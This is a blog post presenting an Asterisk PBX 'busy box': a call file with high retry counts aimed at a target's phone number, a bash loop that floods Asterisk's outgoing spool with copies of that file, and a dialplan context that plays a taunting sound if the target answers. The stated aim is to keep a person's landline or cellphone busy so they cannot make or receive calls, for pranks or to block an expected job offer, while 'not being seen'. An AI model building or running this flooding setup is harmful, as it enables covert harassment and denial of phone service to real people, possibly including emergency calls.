«

»

Oct 07

Asterisk: The Busybox

After turning my Asterisk PBX server into an apartment gate opener, I had an idea to bring back the old school phreaker busy box. I got into the phreaker scene right as the old text files were becoming obsolete, so this trick here is my tribute to the old days. As always, have fun, but not at the expense of others.



style="display:inline-block;width:468px;height:60px"
data-ad-client="ca-pub-1283400416865688"
data-ad-slot="9703902124">

Our goal here is to make the line of our target go busy so they cannot make or receive calls. Maybe we know the target is expecting a call from a prospective employer. Maybe it’s April 1st and we want to troll a few people. The list is potentially endless. We are going to need to write a bash script,a call file, and a context in the Asterisk dialplan that will handle the target IF the call goes through and is answered.

We will start by building the call file that I have named testcall.bak (more on file extensions later on when we address the bash script).

call file code

     #The first line states the channel we want to use, the target number, and our SIP provider’s outbound call function
     Channel: SIP/7025811212@vitel-outbound #phone number changed to protect privacy
     MaxRetries: 50
     RetryTime: 2
     #MaxRetries are high and RetryTime is low to prevent target from answering while keeping action on the line
     Context: testing
     Extension: s
     Priority: 1
     #The above three lines direct the call file to a precise point in the dialplan IF the target actually answers

We save the call file as testcall.bak instead of testcall.call because Asterisk deletes the call file upon completion of the call. We want repeated use of the call file, so we save it as a .bak and then handle multiple copies of the file with the following bash script.

bash script code

     #!/bin/bash
     counter=$1
     while [ $counter -gt 0 ]
     do
           cp testcall.bak testcall.call
           chmod 777 testcall.call
           mv testcall.call /var/spool/asterisk/outgoing
           counter=$(( $counter – 1 ))
     done

The counter is the number of copies of the call file we want to make. We set this high as well as “MaxRetries” in the call file in an effort to keep the target’s phone line busy. With these numbers high, we account for call waiting and if the call is answered we can still send more calls to keep the line busy thereafter.

Our last step is to make a context in the dialplan to play a sound file if the target does answer one of the calls.

extensions.conf addition

[testing]
   exten => s,1,Answer
   exten => s,2,Playback(/var/lib/asterisk/sounds/tt-weasels)
   exten => s,3,Hangup

One great benefit to this setup is that, unlike the original busy box, this will work on both landlines and cellphones. We also do not have to attach any physical equipment anywhere, so not being seen is a plus. So, this is my tribute to the old school. I hope you enjoyed it thoroughly. Shoutouts to telephreak.org and all of the other ninjas here and abroad.

[5.14.2014 Update]

Since I personally confirmed it, I just want to point out that this works with Asterisk versions 1.4 – 1.8.

In Asterisk 1.2, the commas, i.e. exten = s,1,Answer were replaced with pipes, such as |. This, however, is deprecated and it is highly recommended to use up-to-date software.

Leave a Reply

Your email address will not be published. Required fields are marked *


+ 9 = eleven

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>